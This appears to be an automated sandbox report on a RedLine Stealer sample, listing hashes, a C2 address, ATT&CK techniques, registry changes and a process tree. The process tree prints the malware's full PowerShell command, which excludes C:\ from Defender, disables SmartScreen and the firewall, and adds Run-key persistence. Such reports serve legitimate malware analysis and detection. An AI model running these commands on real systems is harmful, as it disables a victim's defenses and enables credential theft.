redline | 770e6bbe4c4f4e7abfbb4a533d28f8e44c5a374aa05dc3c333d7f15594e217e7

Analysis

max time kernel
144s
max time network
146s
platform
windows10_x64
resource
win10-en-20210920
submitted
26-09-2021 22:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

96c2ef023febbd4e3773bbb3a59e54c3.exe
Size

417KB
MD5

96c2ef023febbd4e3773bbb3a59e54c3
SHA1

8e20dc3097d3380f1b2c567a05b3a7d8dae713bf
SHA256

770e6bbe4c4f4e7abfbb4a533d28f8e44c5a374aa05dc3c333d7f15594e217e7
SHA512

f5e45c4c6f09c1d1d40832b1611fbff8ba822964cdb40e397254ae143a44f8c822ca7b5dcbdd7a3ddbd5f1b383fd7c1db2233ac9301fbc58f3c75f280abb9370

Score

10^/10

redline 7w06zphy discovery evasion infostealer persistence spyware stealer suricata

Malware Config

Extracted

Family

redline

Botnet

7W06ZPHY

188.34.176.164:80

Signatures

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

powershell.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Start = "4" powershell.exe
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Start = "4"	powershell.exe

RedLine Payload 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1860-312-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral2/memory/1860-313-0x000000000041C5D6-mapping.dmp	family_redline
behavioral2/memory/1860-323-0x00000000052A0000-0x00000000058A6000-memory.dmp	family_redline

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 2588 created 880 2588 WerFault.exe rcn.exe
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
Downloads MZ/PE file
Executes dropped EXE 4 IoCs

Processes:

rcn.exeUpSys.exeUpSys.exeUpSys.exe

pid process

880 rcn.exe
2940 UpSys.exe
3644 UpSys.exe
3672 UpSys.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Drops startup file 1 IoCs

Processes:

rcn.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk rcn.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

description	pid	process	target process
PID 2588 created 880	2588	WerFault.exe	rcn.exe

pid	process
880	rcn.exe
2940	UpSys.exe
3644	UpSys.exe
3672	UpSys.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk	rcn.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinNet = "C:\\ProgramData\\MicrosoftNetwork\\System.exe"	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

96c2ef023febbd4e3773bbb3a59e54c3.exe

description pid process target process

PID 2384 set thread context of 1860 2384 96c2ef023febbd4e3773bbb3a59e54c3.exe 96c2ef023febbd4e3773bbb3a59e54c3.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2588 880 WerFault.exe rcn.exe

description	pid	process	target process
PID 2384 set thread context of 1860	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	96c2ef023febbd4e3773bbb3a59e54c3.exe

pid	pid_target	process	target process
2588	880	WerFault.exe	rcn.exe

Modifies data under HKEY_USERS 52 IoCs

Processes:

UpSys.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	UpSys.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

rcn.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	rcn.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	rcn.exe

Suspicious behavior: EnumeratesProcesses 51 IoCs

Processes:

powershell.exepowershell.exe96c2ef023febbd4e3773bbb3a59e54c3.exe96c2ef023febbd4e3773bbb3a59e54c3.exercn.exepowershell.exeWerFault.exeUpSys.exeUpSys.exepowershell.exe

pid	process
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
1592	powershell.exe
1592	powershell.exe
1592	powershell.exe
2384	96c2ef023febbd4e3773bbb3a59e54c3.exe
2384	96c2ef023febbd4e3773bbb3a59e54c3.exe
2384	96c2ef023febbd4e3773bbb3a59e54c3.exe
2384	96c2ef023febbd4e3773bbb3a59e54c3.exe
2384	96c2ef023febbd4e3773bbb3a59e54c3.exe
2384	96c2ef023febbd4e3773bbb3a59e54c3.exe
1860	96c2ef023febbd4e3773bbb3a59e54c3.exe
1860	96c2ef023febbd4e3773bbb3a59e54c3.exe
880	rcn.exe
880	rcn.exe
880	rcn.exe
880	rcn.exe
3544	powershell.exe
3544	powershell.exe
3544	powershell.exe
880	rcn.exe
880	rcn.exe
880	rcn.exe
880	rcn.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2940	UpSys.exe
2940	UpSys.exe
2940	UpSys.exe
2940	UpSys.exe
3644	UpSys.exe
3644	UpSys.exe
3644	UpSys.exe
3644	UpSys.exe
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3968	powershell.exe
Token: SeIncreaseQuotaPrivilege	3968	powershell.exe
Token: SeSecurityPrivilege	3968	powershell.exe
Token: SeTakeOwnershipPrivilege	3968	powershell.exe
Token: SeLoadDriverPrivilege	3968	powershell.exe
Token: SeSystemProfilePrivilege	3968	powershell.exe
Token: SeSystemtimePrivilege	3968	powershell.exe
Token: SeProfSingleProcessPrivilege	3968	powershell.exe
Token: SeIncBasePriorityPrivilege	3968	powershell.exe
Token: SeCreatePagefilePrivilege	3968	powershell.exe
Token: SeBackupPrivilege	3968	powershell.exe
Token: SeRestorePrivilege	3968	powershell.exe
Token: SeShutdownPrivilege	3968	powershell.exe
Token: SeDebugPrivilege	3968	powershell.exe
Token: SeSystemEnvironmentPrivilege	3968	powershell.exe
Token: SeRemoteShutdownPrivilege	3968	powershell.exe
Token: SeUndockPrivilege	3968	powershell.exe
Token: SeManageVolumePrivilege	3968	powershell.exe
Token: 33	3968	powershell.exe
Token: 34	3968	powershell.exe
Token: 35	3968	powershell.exe
Token: 36	3968	powershell.exe
Token: SeIncreaseQuotaPrivilege	3968	powershell.exe
Token: SeSecurityPrivilege	3968	powershell.exe
Token: SeTakeOwnershipPrivilege	3968	powershell.exe
Token: SeLoadDriverPrivilege	3968	powershell.exe
Token: SeSystemProfilePrivilege	3968	powershell.exe
Token: SeSystemtimePrivilege	3968	powershell.exe
Token: SeProfSingleProcessPrivilege	3968	powershell.exe
Token: SeIncBasePriorityPrivilege	3968	powershell.exe
Token: SeCreatePagefilePrivilege	3968	powershell.exe
Token: SeBackupPrivilege	3968	powershell.exe
Token: SeRestorePrivilege	3968	powershell.exe
Token: SeShutdownPrivilege	3968	powershell.exe
Token: SeDebugPrivilege	3968	powershell.exe
Token: SeSystemEnvironmentPrivilege	3968	powershell.exe
Token: SeRemoteShutdownPrivilege	3968	powershell.exe
Token: SeUndockPrivilege	3968	powershell.exe
Token: SeManageVolumePrivilege	3968	powershell.exe
Token: 33	3968	powershell.exe
Token: 34	3968	powershell.exe
Token: 35	3968	powershell.exe
Token: 36	3968	powershell.exe
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeIncreaseQuotaPrivilege	1592	powershell.exe
Token: SeSecurityPrivilege	1592	powershell.exe
Token: SeTakeOwnershipPrivilege	1592	powershell.exe
Token: SeLoadDriverPrivilege	1592	powershell.exe
Token: SeSystemProfilePrivilege	1592	powershell.exe
Token: SeSystemtimePrivilege	1592	powershell.exe
Token: SeProfSingleProcessPrivilege	1592	powershell.exe
Token: SeIncBasePriorityPrivilege	1592	powershell.exe
Token: SeCreatePagefilePrivilege	1592	powershell.exe
Token: SeBackupPrivilege	1592	powershell.exe
Token: SeRestorePrivilege	1592	powershell.exe
Token: SeShutdownPrivilege	1592	powershell.exe
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeSystemEnvironmentPrivilege	1592	powershell.exe
Token: SeRemoteShutdownPrivilege	1592	powershell.exe
Token: SeUndockPrivilege	1592	powershell.exe
Token: SeManageVolumePrivilege	1592	powershell.exe
Token: 33	1592	powershell.exe
Token: 34	1592	powershell.exe
Token: 35	1592	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

96c2ef023febbd4e3773bbb3a59e54c3.exe96c2ef023febbd4e3773bbb3a59e54c3.exercn.exepowershell.exeUpSys.exe

description	pid	process	target process
PID 2384 wrote to memory of 3968	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	powershell.exe
PID 2384 wrote to memory of 3968	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	powershell.exe
PID 2384 wrote to memory of 3968	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	powershell.exe
PID 2384 wrote to memory of 1592	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	powershell.exe
PID 2384 wrote to memory of 1592	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	powershell.exe
PID 2384 wrote to memory of 1592	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	powershell.exe
PID 2384 wrote to memory of 3364	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	96c2ef023febbd4e3773bbb3a59e54c3.exe
PID 2384 wrote to memory of 3364	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	96c2ef023febbd4e3773bbb3a59e54c3.exe
PID 2384 wrote to memory of 3364	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	96c2ef023febbd4e3773bbb3a59e54c3.exe
PID 2384 wrote to memory of 1860	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	96c2ef023febbd4e3773bbb3a59e54c3.exe
PID 2384 wrote to memory of 1860	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	96c2ef023febbd4e3773bbb3a59e54c3.exe
PID 2384 wrote to memory of 1860	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	96c2ef023febbd4e3773bbb3a59e54c3.exe
PID 2384 wrote to memory of 1860	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	96c2ef023febbd4e3773bbb3a59e54c3.exe
PID 2384 wrote to memory of 1860	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	96c2ef023febbd4e3773bbb3a59e54c3.exe
PID 2384 wrote to memory of 1860	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	96c2ef023febbd4e3773bbb3a59e54c3.exe
PID 2384 wrote to memory of 1860	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	96c2ef023febbd4e3773bbb3a59e54c3.exe
PID 2384 wrote to memory of 1860	2384	96c2ef023febbd4e3773bbb3a59e54c3.exe	96c2ef023febbd4e3773bbb3a59e54c3.exe
PID 1860 wrote to memory of 880	1860	96c2ef023febbd4e3773bbb3a59e54c3.exe	rcn.exe
PID 1860 wrote to memory of 880	1860	96c2ef023febbd4e3773bbb3a59e54c3.exe	rcn.exe
PID 880 wrote to memory of 3544	880	rcn.exe	powershell.exe
PID 880 wrote to memory of 3544	880	rcn.exe	powershell.exe
PID 3544 wrote to memory of 2940	3544	powershell.exe	UpSys.exe
PID 3544 wrote to memory of 2940	3544	powershell.exe	UpSys.exe
PID 3544 wrote to memory of 804	3544	powershell.exe	netsh.exe
PID 3544 wrote to memory of 804	3544	powershell.exe	netsh.exe
PID 3672 wrote to memory of 3848	3672	UpSys.exe	powershell.exe
PID 3672 wrote to memory of 3848	3672	UpSys.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\96c2ef023febbd4e3773bbb3a59e54c3.exe
"C:\Users\Admin\AppData\Local\Temp\96c2ef023febbd4e3773bbb3a59e54c3.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2384
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3968
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1592
- C:\Users\Admin\AppData\Local\Temp\96c2ef023febbd4e3773bbb3a59e54c3.exe
  C:\Users\Admin\AppData\Local\Temp\96c2ef023febbd4e3773bbb3a59e54c3.exe
  2⤵
  PID:3364
- C:\Users\Admin\AppData\Local\Temp\96c2ef023febbd4e3773bbb3a59e54c3.exe
  C:\Users\Admin\AppData\Local\Temp\96c2ef023febbd4e3773bbb3a59e54c3.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Users\Admin\AppData\Local\Temp\rcn.exe
    "C:\Users\Admin\AppData\Local\Temp\rcn.exe"
    3⤵
    - Executes dropped EXE
    - Drops startup file
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
      4⤵
      Modifies security service
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3544
    - - C:\ProgramData\UpSys.exe
        
        "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2940
      - C:\ProgramData\UpSys.exe
        
        "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3644
        
        C:\ProgramData\UpSys.exe
        
        "C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
        7⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        Suspicious use of WriteProcessMemory
        
        PID:3672
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
        8⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        
        PID:3848
    - - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
        5⤵
        
        PID:804
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 880 -s 1604
      4⤵
      Suspicious use of NtCreateProcessExOtherParentProcess
      Program crash
      Suspicious behavior: EnumeratesProcesses
      PID:2588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\MicrosoftNetwork\System.exe

MD5
cfadb3a07eb0470aeeec9fa3dbb3ad67

SHA1
37d6410c23e9ca02bc7ed3c75743b3295dd19712

SHA256
1fa432e601026a3a0f2b2b86f95365991af5b8dcb3233369c5f7828409e5ed56

SHA512
713804a6dc24e0f64d814a043d682b8455685a818fad2cc875b768ad84287450da2d1373664ea69dced75689605cbf61dccbc2247709afdfb0ffa49a6961498a

Download Submit
C:\ProgramData\UpSys.exe

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\96c2ef023febbd4e3773bbb3a59e54c3.exe.log

MD5
377926f80239dae91115ba6b0834d596

SHA1
fe1c81f4b1f0ec6aa4534f4a9d988138b78db112

SHA256
